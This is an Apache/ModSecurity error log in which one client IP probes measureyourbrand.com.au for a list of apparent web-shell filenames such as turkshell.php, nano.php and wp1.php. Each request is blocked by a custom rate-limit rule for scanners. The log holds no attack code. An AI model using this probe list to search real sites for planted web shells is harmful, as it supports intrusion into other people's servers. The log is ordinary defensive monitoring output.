[Sat Apr 18 05:32:50.948465 2026] [:error] [pid 9864:tid 9906] [client 4.235.105.111:27553] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeKnAoCFeowknfXHM7kr3gAAAEE"]
[Sat Apr 18 05:32:51.647412 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:39664] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeKnAyYdRLRhVmaIMx21ywAAANU"]
[Sat Apr 18 05:32:52.673055 2026] [:error] [pid 9970:tid 9988] [client 4.235.105.111:30069] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeKnBCYdRLRhVmaIMx210QAAAM4"]
[Sat Apr 18 05:32:53.802155 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:48242] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeKnBSYdRLRhVmaIMx211wAAAMU"]
[Sat Apr 18 05:32:54.711442 2026] [:error] [pid 9865:tid 9951] [client 4.235.105.111:30041] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "aeKnBqzb5knECIY-C-icHgAAAI4"]
[Sat Apr 18 05:32:56.383556 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:27569] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "aeKnCCYdRLRhVmaIMx214gAAANA"]
[Sat Apr 18 05:32:57.654885 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:28297] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "aeKnCSYdRLRhVmaIMx21-QAAAMY"]
[Sat Apr 18 05:32:59.528033 2026] [:error] [pid 9970:tid 9998] [client 4.235.105.111:27922] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "aeKnCyYdRLRhVmaIMx22BgAAANg"]
[Sat Apr 18 05:33:00.685143 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:48200] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeKnDCYdRLRhVmaIMx22CwAAAMA"]
[Sat Apr 18 05:33:01.800915 2026] [:error] [pid 9863:tid 9880] [client 4.235.105.111:40014] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeKnDTjjiypiFrTucbIFGgAAAAc"]
[Sat Apr 18 05:33:02.912814 2026] [:error] [pid 9865:tid 9943] [client 4.235.105.111:48480] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeKnDqzb5knECIY-C-icLwAAAIY"]
[Sat Apr 18 05:33:03.799308 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:29805] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeKnDyYdRLRhVmaIMx22EAAAAMA"]
[Sat Apr 18 05:33:04.778181 2026] [:error] [pid 9970:tid 9985] [client 4.235.105.111:28332] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeKnECYdRLRhVmaIMx22FQAAAMs"]
[Sat Apr 18 05:33:05.380714 2026] [:error] [pid 9865:tid 9960] [client 4.235.105.111:27918] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeKnEazb5knECIY-C-icMwAAAJc"]
[Sat Apr 18 05:33:05.986635 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:40017] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeKnESYdRLRhVmaIMx22HQAAAMU"]
[Sat Apr 18 05:33:06.958479 2026] [:error] [pid 9865:tid 9938] [client 4.235.105.111:42206] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeKnEqzb5knECIY-C-icNgAAAIE"]
[Sat Apr 18 05:33:07.972632 2026] [:error] [pid 9865:tid 9948] [client 4.235.105.111:27937] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeKnE6zb5knECIY-C-icOgAAAIs"]
[Sat Apr 18 05:33:08.804672 2026] [:error] [pid 9970:tid 9988] [client 4.235.105.111:48501] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeKnFCYdRLRhVmaIMx22JgAAAM4"]
[Sat Apr 18 05:33:19.522870 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:27942] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeKnHyYdRLRhVmaIMx22WAAAANU"]
[Sat Apr 18 05:33:20.619922 2026] [:error] [pid 9865:tid 9950] [client 4.235.105.111:29818] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeKnIKzb5knECIY-C-icTQAAAI0"]
[Sat Apr 18 05:33:22.300215 2026] [:error] [pid 9864:tid 9930] [client 4.235.105.111:39636] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeKnIoCFeowknfXHM7ksFgAAAFg"]
[Sat Apr 18 05:33:22.934955 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:27962] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeKnIiYdRLRhVmaIMx22aQAAAMM"]
[Sat Apr 18 05:33:24.040781 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:28310] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "aeKnJCYdRLRhVmaIMx22bwAAANA"]
[Sat Apr 18 05:33:24.759894 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:27906] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "aeKnJCYdRLRhVmaIMx22cwAAAMU"]
[Sat Apr 18 05:33:25.325694 2026] [:error] [pid 9865:tid 9938] [client 4.235.105.111:42229] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "aeKnJazb5knECIY-C-icWgAAAIE"]
[Sat Apr 18 05:33:26.045660 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:27963] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "aeKnJiYdRLRhVmaIMx22dwAAANU"]
[Sat Apr 18 05:33:26.900687 2026] [:error] [pid 9970:tid 9997] [client 4.235.105.111:28323] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeKnJiYdRLRhVmaIMx22egAAANc"]
[Sat Apr 18 05:33:27.505311 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:28341] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeKnJyYdRLRhVmaIMx22fQAAAMo"]
[Sat Apr 18 05:33:28.062393 2026] [:error] [pid 9970:tid 9976] [client 4.235.105.111:27939] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeKnKCYdRLRhVmaIMx22fgAAAMI"]
[Sat Apr 18 05:33:28.682607 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:27289] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeKnKCYdRLRhVmaIMx22gwAAAMA"]
[Sat Apr 18 05:33:29.371102 2026] [:error] [pid 9863:tid 9892] [client 4.235.105.111:29318] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeKnKTjjiypiFrTucbIFJwAAABM"]
[Sat Apr 18 05:33:30.308500 2026] [:error] [pid 9865:tid 9961] [client 4.235.105.111:27936] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeKnKqzb5knECIY-C-icbAAAAJg"]
[Sat Apr 18 05:33:31.077552 2026] [:error] [pid 9863:tid 9874] [client 4.235.105.111:29821] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeKnKzjjiypiFrTucbIFMAAAAAE"]
[Sat Apr 18 05:33:31.757040 2026] [:error] [pid 9864:tid 9905] [client 4.235.105.111:39621] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeKnK4CFeowknfXHM7ksIQAAAEA"]
[Sat Apr 18 05:33:32.342501 2026] [:error] [pid 9863:tid 9895] [client 4.235.105.111:48461] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeKnLDjjiypiFrTucbIFNgAAABY"]
[Sat Apr 18 05:33:33.017614 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:29316] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeKnLSYdRLRhVmaIMx22iAAAANA"]
[Sat Apr 18 05:33:33.680965 2026] [:error] [pid 9865:tid 9937] [client 4.235.105.111:48726] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeKnLazb5knECIY-C-ichwAAAIA"]
[Sat Apr 18 05:33:34.238363 2026] [:error] [pid 9970:tid 9978] [client 4.235.105.111:48499] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeKnLiYdRLRhVmaIMx22kgAAAMQ"]
[Sat Apr 18 05:33:34.805099 2026] [:error] [pid 9970:tid 9994] [client 4.235.105.111:42220] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeKnLiYdRLRhVmaIMx22lwAAANQ"]
[Sat Apr 18 05:33:35.428206 2026] [:error] [pid 9970:tid 9987] [client 4.235.105.111:62070] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeKnLyYdRLRhVmaIMx22mwAAAM0"]
[Sat Apr 18 05:33:36.115059 2026] [:error] [pid 9863:tid 9890] [client 4.235.105.111:29346] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeKnMDjjiypiFrTucbIFPgAAABE"]
[Sat Apr 18 05:33:37.023764 2026] [:error] [pid 9970:tid 9975] [client 4.235.105.111:39617] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeKnMSYdRLRhVmaIMx22owAAAME"]
[Sat Apr 18 05:33:37.639063 2026] [:error] [pid 9865:tid 9941] [client 4.235.105.111:28347] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeKnMazb5knECIY-C-icjAAAAIQ"]
[Sat Apr 18 05:33:38.551266 2026] [:error] [pid 9865:tid 9945] [client 4.235.105.111:30344] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeKnMqzb5knECIY-C-icjwAAAIg"]
[Sat Apr 18 05:33:39.139612 2026] [:error] [pid 9970:tid 9988] [client 4.235.105.111:30356] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeKnMyYdRLRhVmaIMx22pwAAAM4"]
[Sat Apr 18 05:33:40.138297 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:27569] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeKnNCYdRLRhVmaIMx22qwAAAMU"]
[Sat Apr 18 05:33:41.153107 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:48490] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeKnNSYdRLRhVmaIMx22rQAAAMo"]
[Sat Apr 18 05:33:41.969107 2026] [:error] [pid 9864:tid 9929] [client 4.235.105.111:42222] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeKnNYCFeowknfXHM7ksLAAAAFc"]
[Sat Apr 18 05:33:42.666590 2026] [:error] [pid 9864:tid 9920] [client 4.235.105.111:42230] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeKnNoCFeowknfXHM7ksMAAAAE4"]
[Sat Apr 18 05:33:43.652821 2026] [:error] [pid 9864:tid 9909] [client 4.235.105.111:40031] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeKnN4CFeowknfXHM7ksNAAAAEQ"]
[Sat Apr 18 05:33:45.000378 2026] [:error] [pid 9863:tid 9880] [client 4.235.105.111:45157] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeKnODjjiypiFrTucbIFSAAAAAc"]
[Sat Apr 18 05:33:46.980857 2026] [:error] [pid 9863:tid 9883] [client 4.235.105.111:45175] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeKnOjjjiypiFrTucbIFSgAAAAo"]
[Sat Apr 18 05:33:48.496545 2026] [:error] [pid 9970:tid 9989] [client 4.235.105.111:24788] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeKnPCYdRLRhVmaIMx22ugAAAM8"]
[Sat Apr 18 05:33:50.439091 2026] [:error] [pid 9970:tid 9996] [client 4.235.105.111:36677] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeKnPiYdRLRhVmaIMx22wQAAANY"]
[Sat Apr 18 05:33:51.549202 2026] [:error] [pid 9865:tid 9939] [client 4.235.105.111:24831] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeKnP6zb5knECIY-C-icrwAAAII"]
[Sat Apr 18 05:33:52.834961 2026] [:error] [pid 9864:tid 9908] [client 4.235.105.111:3189] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeKnQICFeowknfXHM7ksQwAAAEM"]
